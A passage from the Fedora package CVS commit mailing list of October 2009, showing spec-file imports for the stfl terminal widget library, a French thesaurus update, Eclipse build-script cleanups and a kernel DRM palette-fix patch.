* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-1
- Initial release




--- NEW FILE import.log ---
stfl-0_21-7_fc10:F-11:stfl-0.21-7.fc10.src.rpm:1256202256


--- NEW FILE stfl.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
%{!?ruby_sitearch: %global ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"] ')}


Name:		stfl
Version:	0.21
Release:	7%{?dist}
Summary:	The Structured Terminal Forms Language/Library

Group:		System Environment/Libraries
License:	LGPLv3+
URL:		http://www.clifford.at/stfl/
Source0:	http://www.clifford.at/stfl/%{name}-%{version}.tar.gz

BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	ncurses-devel
BuildRequires:	swig
BuildRequires:	perl-devel
BuildRequires:	python-devel
BuildRequires:	ruby, ruby-devel

%description
STFL is a library which implements a curses-based widget set for text
terminals.


%package	devel
Summary:	Development files for %{name}
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	pkgconfig

%description	devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%package	perl
Summary:	Perl binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description	perl
Perl binding for STFL


%package	python
Summary:	Python binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}

%description	python
Python binding for STFL.


%package	ruby
Summary:	Ruby binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	ruby(abi) = 1.8

%description	ruby
Ruby binding for STFL.


%prep
%setup -q
## ensures that _stfl.so doesn't end up in lib-dynload
## - http://www.rocklinux.net/pipermail/stfl/2009-June/000113.html
sed -i.path \
 -e '/mkdir.*lib-dynload/d' \
 -e '/cp/s|lib-dynload||' \
 python/Makefile.*
## creates an soname symlink for the shared library
## - http://www.rocklinux.net/pipermail/stfl/2009-June/000114.html
## add the new line needed (the part starting with \n) If you know a better way with sed to do it, please educate me
sed -i.soname \
 -e 's|\(.*ln -fs.*/\)\(libstfl\.so\)$|\1\2\n\1\$(SONAME)|' \
 Makefile
## fixes undefined-non-weak-symbol rpmlint warnings
## - http://www.rocklinux.net/pipermail/stfl/2009-October/000116.html
sed -i.ldflags -e 's|\(-shared\)|\1 \$(LDLIBS)|' Makefile
## fixes libdir for other arch than x86 
## - http://www.rocklinux.net/pipermail/stfl/2009-October/000118.html
sed -i.path -e 's|libdir=.*|libdir=%{_libdir}|' stfl.pc.in
sed -i.cflags -e 's|-Os||' Makefile

%build
# building with smp flags causes random failures
export CFLAGS="%{optflags}"
make prefix=%{_prefix} libdir=%{_lib}


%install
rm -rf %{buildroot}
make install prefix=%{_prefix} libdir=%{_lib} DESTDIR=%{buildroot}
# give the shared libraries executable permissions so they get stripped
# also fixes the 0555 permissions on the perl bindings
find %{buildroot} -name '*.so' -exec chmod 755 {} ';'
# perl ignores empty .bs files
find %{buildroot} -name '*.bs' -size 0c -exec rm -f {} ';'
# fedora doesn't ship static libraries
rm -f %{buildroot}%{_libdir}/libstfl.a
## remove unneeded files
rm -f %{buildroot}%{perl_vendorarch}/example.pl
rm -f %{buildroot}%{perl_vendorarch}/auto/stfl/.packlist
rm -f %{buildroot}%{perl_archlib}/perllocal.pod

%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc README COPYING
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so
%{_libdir}/pkgconfig/stfl.pc

%files perl
%defattr(-,root,root,-)
%dir %{perl_vendorarch}/auto/stfl
%{perl_vendorarch}/*.pm
%{perl_vendorarch}/auto/stfl/*

%files python
%defattr(-,root,root,-)
%{python_sitearch}/stfl.py*
%{python_sitearch}/_stfl.so

%files ruby
%defattr(-,root,root,-)
%{ruby_sitearch}/stfl.so

%changelog
* Tue Oct 20 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-7
- Removed empty %%doc
- Changed sed commands

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-6
- Changed CFLAGS again

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-5
- Better use of sed
- Fixed CFLAGS
- Use of rm instead of exclude
- Removed empty doc

* Mon Oct 05 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-4
- Removed unneeded requires
- Removed dupe docs
- removed patches and make use of sed
- fixed stfl.pc.in for x86_64

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-3
- fixed installed rpmlint output

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-2
- Added Requires: pkgconfig
- Mentioned to upstream the rpmlint warnings
- http://www.rocklinux.net/pipermail/stfl/2009-October/000115.html
- Minor spec changes

* Sun Jun 28 2009 Byron Clark <byron at theclarkfamily.name> 0.21-1
- New upstream release
- Stop placing _stfl.so in lib-dynload
- Add patch to properly create soname symlink for shared lib.

* Wed Jun 10 2009 Byron Clark <byron at theclarkfamily.name> 0.20-5
- Stop using both python_sitelib and python_sitearch
- Modify stfl-pythonpaths.patch to only use python_sitearch

* Sat Jun 6 2009 Byron Clark <byron at theclarkfamily.name> 0.20-4
- Don't explicitly require python and perl

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-3
- Use the patches that have been sent upstream

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-2
- Add the minimal docs

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-1
- Initial release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/stfl/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:33:49 -0000	1.1
+++ .cvsignore	22 Oct 2009 09:05:43 -0000	1.2
@@ -0,0 +1 @@
+stfl-0.21.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/stfl/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:33:49 -0000	1.1
+++ sources	22 Oct 2009 09:05:43 -0000	1.2
@@ -0,0 +1 @@
+888502c3f332a0ee66e490690d79d404  stfl-0.21.tar.gz



From thomasj at fedoraproject.org  Thu Oct 22 09:07:34 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 22 Oct 2009 09:07:34 +0000 (UTC)
Subject: rpms/stfl/F-10 import.log, NONE, 1.1 stfl.spec, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022090734.ABDB611C008C@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/stfl/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26299/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log stfl.spec 
Log Message:
* Tue Oct 20 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-7
- Removed empty %%doc
- Changed sed commands

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-6
- Changed CFLAGS again

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-5
- Better use of sed
- Fixed CFLAGS
- Use of rm instead of exclude
- Removed empty doc

* Mon Oct 05 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-4
- Removed unneeded requires
- Removed dupe docs
- removed patches and make use of sed
- fixed stfl.pc.in for x86_64

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-3
- fixed installed rpmlint output

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-2
- Added Requires: pkgconfig
- Mentioned to upstream the rpmlint warnings
- http://www.rocklinux.net/pipermail/stfl/2009-October/000115.html
- Minor spec changes

* Sun Jun 28 2009 Byron Clark <byron at theclarkfamily.name> 0.21-1
- New upstream release
- Stop placing _stfl.so in lib-dynload
- Add patch to properly create soname symlink for shared lib.

* Wed Jun 10 2009 Byron Clark <byron at theclarkfamily.name> 0.20-5
- Stop using both python_sitelib and python_sitearch
- Modify stfl-pythonpaths.patch to only use python_sitearch

* Sat Jun 6 2009 Byron Clark <byron at theclarkfamily.name> 0.20-4
- Don't explicitly require python and perl

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-3
- Use the patches that have been sent upstream

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-2
- Add the minimal docs

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-1
- Initial release




--- NEW FILE import.log ---
stfl-0_21-7_fc10:F-10:stfl-0.21-7.fc10.src.rpm:1256202404


--- NEW FILE stfl.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
%{!?ruby_sitearch: %global ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"] ')}


Name:		stfl
Version:	0.21
Release:	7%{?dist}
Summary:	The Structured Terminal Forms Language/Library

Group:		System Environment/Libraries
License:	LGPLv3+
URL:		http://www.clifford.at/stfl/
Source0:	http://www.clifford.at/stfl/%{name}-%{version}.tar.gz

BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	ncurses-devel
BuildRequires:	swig
BuildRequires:	perl-devel
BuildRequires:	python-devel
BuildRequires:	ruby, ruby-devel

%description
STFL is a library which implements a curses-based widget set for text
terminals.


%package	devel
Summary:	Development files for %{name}
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	pkgconfig

%description	devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%package	perl
Summary:	Perl binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description	perl
Perl binding for STFL


%package	python
Summary:	Python binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}

%description	python
Python binding for STFL.


%package	ruby
Summary:	Ruby binding for STFL
Group:		Development/Libraries
Requires:	%{name} = %{version}-%{release}
Requires:	ruby(abi) = 1.8

%description	ruby
Ruby binding for STFL.


%prep
%setup -q
## ensures that _stfl.so doesn't end up in lib-dynload
## - http://www.rocklinux.net/pipermail/stfl/2009-June/000113.html
sed -i.path \
 -e '/mkdir.*lib-dynload/d' \
 -e '/cp/s|lib-dynload||' \
 python/Makefile.*
## creates an soname symlink for the shared library
## - http://www.rocklinux.net/pipermail/stfl/2009-June/000114.html
## add the new line needed (the part starting with \n) If you know a better way with sed to do it, please educate me
sed -i.soname \
 -e 's|\(.*ln -fs.*/\)\(libstfl\.so\)$|\1\2\n\1\$(SONAME)|' \
 Makefile
## fixes undefined-non-weak-symbol rpmlint warnings
## - http://www.rocklinux.net/pipermail/stfl/2009-October/000116.html
sed -i.ldflags -e 's|\(-shared\)|\1 \$(LDLIBS)|' Makefile
## fixes libdir for other arch than x86 
## - http://www.rocklinux.net/pipermail/stfl/2009-October/000118.html
sed -i.path -e 's|libdir=.*|libdir=%{_libdir}|' stfl.pc.in
sed -i.cflags -e 's|-Os||' Makefile

%build
# building with smp flags causes random failures
export CFLAGS="%{optflags}"
make prefix=%{_prefix} libdir=%{_lib}


%install
rm -rf %{buildroot}
make install prefix=%{_prefix} libdir=%{_lib} DESTDIR=%{buildroot}
# give the shared libraries executable permissions so they get stripped
# also fixes the 0555 permissions on the perl bindings
find %{buildroot} -name '*.so' -exec chmod 755 {} ';'
# perl ignores empty .bs files
find %{buildroot} -name '*.bs' -size 0c -exec rm -f {} ';'
# fedora doesn't ship static libraries
rm -f %{buildroot}%{_libdir}/libstfl.a
## remove unneeded files
rm -f %{buildroot}%{perl_vendorarch}/example.pl
rm -f %{buildroot}%{perl_vendorarch}/auto/stfl/.packlist
rm -f %{buildroot}%{perl_archlib}/perllocal.pod

%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc README COPYING
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so
%{_libdir}/pkgconfig/stfl.pc

%files perl
%defattr(-,root,root,-)
%dir %{perl_vendorarch}/auto/stfl
%{perl_vendorarch}/*.pm
%{perl_vendorarch}/auto/stfl/*

%files python
%defattr(-,root,root,-)
%{python_sitearch}/stfl.py*
%{python_sitearch}/_stfl.so

%files ruby
%defattr(-,root,root,-)
%{ruby_sitearch}/stfl.so

%changelog
* Tue Oct 20 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-7
- Removed empty %%doc
- Changed sed commands

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-6
- Changed CFLAGS again

* Tue Oct 06 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-5
- Better use of sed
- Fixed CFLAGS
- Use of rm instead of exclude
- Removed empty doc

* Mon Oct 05 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-4
- Removed unneeded requires
- Removed dupe docs
- removed patches and make use of sed
- fixed stfl.pc.in for x86_64

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-3
- fixed installed rpmlint output

* Fri Oct 02 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.21-2
- Added Requires: pkgconfig
- Mentioned to upstream the rpmlint warnings
- http://www.rocklinux.net/pipermail/stfl/2009-October/000115.html
- Minor spec changes

* Sun Jun 28 2009 Byron Clark <byron at theclarkfamily.name> 0.21-1
- New upstream release
- Stop placing _stfl.so in lib-dynload
- Add patch to properly create soname symlink for shared lib.

* Wed Jun 10 2009 Byron Clark <byron at theclarkfamily.name> 0.20-5
- Stop using both python_sitelib and python_sitearch
- Modify stfl-pythonpaths.patch to only use python_sitearch

* Sat Jun 6 2009 Byron Clark <byron at theclarkfamily.name> 0.20-4
- Don't explicitly require python and perl

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-3
- Use the patches that have been sent upstream

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-2
- Add the minimal docs

* Thu May 21 2009 Byron Clark <byron at theclarkfamily.name> 0.20-1
- Initial release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/stfl/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:33:49 -0000	1.1
+++ .cvsignore	22 Oct 2009 09:07:34 -0000	1.2
@@ -0,0 +1 @@
+stfl-0.21.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/stfl/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:33:49 -0000	1.1
+++ sources	22 Oct 2009 09:07:34 -0000	1.2
@@ -0,0 +1 @@
+888502c3f332a0ee66e490690d79d404  stfl-0.21.tar.gz



From caolanm at fedoraproject.org  Thu Oct 22 09:38:51 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 22 Oct 2009 09:38:51 +0000 (UTC)
Subject: rpms/mythes-fr/devel .cvsignore, 1.2, 1.3 mythes-fr.spec, 1.5,
	1.6 sources, 1.2, 1.3
Message-ID: <20091022093851.5AA4811C008C@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/mythes-fr/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3039

Modified Files:
	.cvsignore mythes-fr.spec sources 
Log Message:
latest version


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mythes-fr/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	18 Jan 2009 23:10:46 -0000	1.2
+++ .cvsignore	22 Oct 2009 09:38:51 -0000	1.3
@@ -1 +1 @@
-thesaurus_2-1.zip
+thesaurus_2-2.zip


Index: mythes-fr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mythes-fr/devel/mythes-fr.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- mythes-fr.spec	25 Jul 2009 15:36:57 -0000	1.5
+++ mythes-fr.spec	22 Oct 2009 09:38:51 -0000	1.6
@@ -1,10 +1,10 @@
 Name: mythes-fr
 Summary: French thesaurus
-Version: 2.1
-Release: 5%{?dist}
-Source: http://download.tuxfamily.org/dicollecte2/thesaurus_2-1.zip
+Version: 2.2
+Release: 1%{?dist}
+Source: http://www.dicollecte.org/download/fr/thesaurus_2-2.zip
 Group: Applications/Text
-URL: http://dicollecte.tuxfamily.org/home.php?prj=fr
+URL: http://www.dicollecte.org/home.php?prj=fr
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 License: LGPLv2+
 BuildArch: noarch
@@ -16,7 +16,7 @@ French thesaurus.
 %setup -q -c
 
 %build
-for i in README_th_fr_FR_v2.txt; do
+for i in README_thes_fr.txt; do
   if ! iconv -f utf-8 -t utf-8 -o /dev/null $i > /dev/null 2>&1; then
     iconv -f ISO-8859-1 -t UTF-8 $i > $i.new
     touch -r $i $i.new
@@ -30,18 +30,22 @@ done
 %install
 rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT/%{_datadir}/mythes
-cp -p th_fr_FR_v2.* $RPM_BUILD_ROOT/%{_datadir}/mythes
+cp -p thes_fr.dat $RPM_BUILD_ROOT/%{_datadir}/mythes/th_fr_FR_v2.dat
+cp -p thes_fr.idx $RPM_BUILD_ROOT/%{_datadir}/mythes/th_fr_FR_v2.idx
 
 %clean
 rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README_th_fr_FR_v2.txt
+%doc README_thes_fr.txt
 %dir %{_datadir}/mythes
 %{_datadir}/mythes/*
 
 %changelog
+* Thu Oct 22 2009 Caolan McNamara <caolanm at redhat.com> - 2.2-1
+- latest version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mythes-fr/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	18 Jan 2009 23:10:46 -0000	1.2
+++ sources	22 Oct 2009 09:38:51 -0000	1.3
@@ -1 +1 @@
-74ca532d23176886beb05248dfa49d0a  thesaurus_2-1.zip
+ba6f5aef42b885ba9eccaf301c2c41ab  thesaurus_2-2.zip



From akurtakov at fedoraproject.org  Thu Oct 22 09:49:41 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Thu, 22 Oct 2009 09:49:41 +0000 (UTC)
Subject: rpms/eclipse/devel eclipse.spec,1.681,1.682
Message-ID: <20091022094941.C0AA911C008C@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6408/devel

Modified Files:
	eclipse.spec 
Log Message:
Remove ppc64 files copying and sedding. Supported by eclipse-build now.


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.681
retrieving revision 1.682
diff -u -p -r1.681 -r1.682
--- eclipse.spec	20 Oct 2009 07:26:24 -0000	1.681
+++ eclipse.spec	22 Oct 2009 09:49:41 -0000	1.682
@@ -30,7 +30,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        10%{?dist}
+Release:        11%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -211,10 +211,6 @@ sed -i -e "s|http://java.sun.com/j2se/1.
 find -iname \*.sf | xargs rm
 find -iname \*.rsa | xargs rm
 
-# Remove existing .sos and binary launcher
-find -name \*.so | xargs rm
-find features/org.eclipse.equinox.executable -type f -name eclipse | xargs rm
-
 # FIXME:  do this as part of Linux distros project
 #
 # the swt version is set to HEAD on s390x but shouldn't be
@@ -227,37 +223,6 @@ swt_frag_ver_s390x=$(grep "version\.suff
 sed --in-place "s|$swt_frag_ver_s390x|$swt_frag_ver|g" plugins/org.eclipse.swt.gtk.linux.s390x/build.xml \
                                                       plugins/org.eclipse.swt.gtk.linux.s390x/META-INF/MANIFEST.MF
 
-# Copy all of the s390x directories and files to ppc64 or sparc{,64} or alpha dirs and replace
-# the s390x strings with ppc64, etc.
-%ifnarch %{ix86} x86_64
-  cp -rp features/org.eclipse.platform/about_files/linux.gtk.{x86,%{_arch}}
-%endif
-%ifarch ppc64 sparc sparcv9 sparc64 alpha
-  for f in $(find -name \*s390x\* ); do
-    tofile=$(echo $f | sed "s/s390x/%{_arch}/")
-    cp -rp $f $tofile
-    for g in $(find $tofile -type f); do
-	sed -i "s/s390x/%{_arch}/g" $g
-    done
-  done
-  mv buildConfigs/eclipse-build-config/build.properties buildConfigs/eclipse-build-config/build.properties.java
-  OLDIFS=$IFS
-IFS='
-'
-  for f in $(find -type f ! -name \*.java -a ! -name feature.xml -a ! -name \*.gif \
-  -a ! -name \*.png -a ! -name \*.htm* -a ! -name \*.jar -a ! -name \
-  \*.exe -a ! -name \*.pm -a ! -name \*.jpg  -a ! -name \*win32\* | grep -v win32); do
-   sed -i -e "s/s390x/%{_arch}/g" $f
-  done
-  IFS=$OLDIFS
-
-  mv buildConfigs/eclipse-build-config/build.properties.java buildConfigs/eclipse-build-config/build.properties
-  sed -i -e "s|contributed/gtk/linux/ppc64|bin/gtk/linux/ppc64|g" buildConfigs/eclipse-build-config/productFiles/rcpConfig/build.properties
-  sed -i -e "s|s390x|%{_arch}|" features/org.eclipse.rcp/feature.xml
-  sed -i -e "s/%{_arch}/s390x/g" plugins/org.eclipse.swt.gtk.linux.s390x/META-INF/MANIFEST.MF
-  sed -i -e "s/%{_arch}/s390x/g" plugins/org.eclipse.equinox.launcher.gtk.linux.s390x/META-INF/MANIFEST.MF
-%endif
-
 %if ! %{bootstrap}
 # Symlinks
 rm plugins/org.sat4j*
@@ -1120,6 +1085,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Thu Oct 22 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-11
+- Remove ppc64 files copying and sedding. Supported by eclipse-build now.
+
 * Tue Oct 20 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-10
 - Remove old/not needed BR/Rs.
 



From airlied at fedoraproject.org  Thu Oct 22 09:58:27 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Thu, 22 Oct 2009 09:58:27 +0000 (UTC)
Subject: rpms/kernel/F-12 drm-fix-palette.patch, NONE, 1.1 kernel.spec,
	1.1876, 1.1877
Message-ID: <20091022095827.92E9811C008C@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8696

Modified Files:
	kernel.spec 
Added Files:
	drm-fix-palette.patch 
Log Message:
* Thu Oct 22 2009 Dave Airlie <airlied at redhat.com>
- kms: fix palette


drm-fix-palette.patch:
 drm_fb_helper.c |   42 +++++++++++++++++++++++++++++-------------
 1 file changed, 29 insertions(+), 13 deletions(-)

--- NEW FILE drm-fix-palette.patch ---
diff --git a/drivers/gpu/drm/drm_fb_helper.c b/drivers/gpu/drm/drm_fb_helper.c
index 23dc9c1..9c92461 100644
--- a/drivers/gpu/drm/drm_fb_helper.c
+++ b/drivers/gpu/drm/drm_fb_helper.c
@@ -454,22 +454,39 @@ out_free:
 }
 EXPORT_SYMBOL(drm_fb_helper_init_crtc_count);
 
-static void setcolreg(struct drm_crtc *crtc, u16 red, u16 green,
+static int setcolreg(struct drm_crtc *crtc, u16 red, u16 green,
 		     u16 blue, u16 regno, struct fb_info *info)
 {
 	struct drm_fb_helper *fb_helper = info->par;
 	struct drm_framebuffer *fb = fb_helper->fb;
 	int pindex;
 
+	if (info->fix.visual == FB_VISUAL_TRUECOLOR) {
+		u32 *palette;
+		u32 value;
+		/* place color in psuedopalette */
+		if (regno > 16)
+			return -EINVAL;
+		palette = (u32 *)info->pseudo_palette;
+		red >>= (16 - info->var.red.length);
+		green >>= (16 - info->var.green.length);
+		blue >>= (16 - info->var.blue.length);
+		value = (red << info->var.red.offset) |
+			(green << info->var.green.offset) |
+			(blue << info->var.blue.offset);
+		palette[regno] = value;
+		return 0;
+	}
+
 	pindex = regno;
 
 	if (fb->bits_per_pixel == 16) {
 		pindex = regno << 3;
 
 		if (fb->depth == 16 && regno > 63)
-			return;
+			return -EINVAL;
 		if (fb->depth == 15 && regno > 31)
-			return;
+			return -EINVAL;
 
 		if (fb->depth == 16) {
 			u16 r, g, b;
@@ -493,13 +510,7 @@ static void setcolreg(struct drm_crtc *crtc, u16 red, u16 green,
 
 	if (fb->depth != 16)
 		fb_helper->funcs->gamma_set(crtc, red, green, blue, pindex);
-
-	if (regno < 16 && info->fix.visual == FB_VISUAL_DIRECTCOLOR) {
-		((u32 *) fb->pseudo_palette)[regno] =
-			(regno << info->var.red.offset) |
-			(regno << info->var.green.offset) |
-			(regno << info->var.blue.offset);
-	}
+	return 0;
 }
 
 int drm_fb_helper_setcmap(struct fb_cmap *cmap, struct fb_info *info)
@@ -536,7 +547,9 @@ int drm_fb_helper_setcmap(struct fb_cmap *cmap, struct fb_info *info)
 			if (transp)
 				htransp = *transp++;
 
-			setcolreg(crtc, hred, hgreen, hblue, start++, info);
+			rc = setcolreg(crtc, hred, hgreen, hblue, start++, info);
+			if (rc)
+				return rc;
 		}
 		crtc_funcs->load_lut(crtc);
 	}
@@ -555,6 +568,7 @@ int drm_fb_helper_setcolreg(unsigned regno,
 	struct drm_device *dev = fb_helper->dev;
 	struct drm_crtc *crtc;
 	int i;
+	int ret;
 
 	if (regno > 255)
 		return 1;
@@ -568,8 +582,10 @@ int drm_fb_helper_setcolreg(unsigned regno,
 		if (i == fb_helper->crtc_count)
 			continue;
 
+		ret = setcolreg(crtc, red, green, blue, regno, info);
+		if (ret)
+			return ret;
 
-		setcolreg(crtc, red, green, blue, regno, info);
 		crtc_funcs->load_lut(crtc);
 	}
 	return 0;
@@ -928,7 +944,7 @@ void drm_fb_helper_fill_fix(struct fb_info *info, uint32_t pitch,
 {
 	info->fix.type = FB_TYPE_PACKED_PIXELS;
 	info->fix.visual = depth == 8 ? FB_VISUAL_PSEUDOCOLOR :
-		FB_VISUAL_DIRECTCOLOR;
+		FB_VISUAL_TRUECOLOR;
 	info->fix.type_aux = 0;
 	info->fix.xpanstep = 1; /* doing it in hw */
 	info->fix.ypanstep = 1; /* doing it in hw */


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1876
retrieving revision 1.1877
diff -u -p -r1.1876 -r1.1877
--- kernel.spec	21 Oct 2009 10:24:42 -0000	1.1876
+++ kernel.spec	22 Oct 2009 09:58:27 -0000	1.1877
@@ -693,6 +693,7 @@ Patch1819: drm-intel-big-hammer.patch
 Patch1824: drm-intel-next.patch
 Patch1825: drm-intel-pm.patch
 Patch1826: drm-intel-no-tv-hotplug.patch
+Patch1827: drm-fix-palette.patch
 
 # vga arb
 Patch1900: linux-2.6-vga-arb.patch
@@ -1371,6 +1372,7 @@ ApplyOptionalPatch drm-intel-next.patch
 #this appears to be upstream - mjg59?
 #ApplyPatch drm-intel-pm.patch
 ApplyPatch drm-intel-no-tv-hotplug.patch
+ApplyPatch drm-fix-palette.patch
 
 # VGA arb + drm
 ApplyPatch linux-2.6-vga-arb.patch
@@ -2067,6 +2069,9 @@ fi
 # and build.
 
 %changelog
+* Thu Oct 22 2009 Dave Airlie <airlied at redhat.com>
+- kms: fix palette
+
 * Wed Oct 21 2009 Chuck Ebbert <cebbert at redhat.com>
 - Disable powersave by default for AC97 audio devices. (#524414)
 



From akurtakov at fedoraproject.org  Thu Oct 22 09:59:46 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Thu, 22 Oct 2009 09:59:46 +0000 (UTC)
Subject: rpms/eclipse/devel sources,1.86,1.87
Message-ID: <20091022095946.3C61111C008C@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9547/devel

Modified Files:
	sources 
Log Message:
Forgot to commit new sources.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/sources,v
retrieving revision 1.86
retrieving revision 1.87
diff -u -p -r1.86 -r1.87
--- sources	19 Oct 2009 13:31:15 -0000	1.86
+++ sources	22 Oct 2009 09:59:46 -0000	1.87
@@ -1,2 +1,2 @@
 3ed7a1c9c13a73f6d7abc0b0305631e3  eclipse-R3_5_1-fetched-src.tar.bz2
-bcca730657556ad9662e326570e0e66a  eclipse-build-0.4.0RC0.tar.gz
+8084220aa5abbb6b846b1e3aa5e7cf12  eclipse-build-0.4.0RC0.tar.gz



From nphilipp at fedoraproject.org  Thu Oct 22 10:17:47 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Thu, 22 Oct 2009 10:17:47 +0000 (UTC)
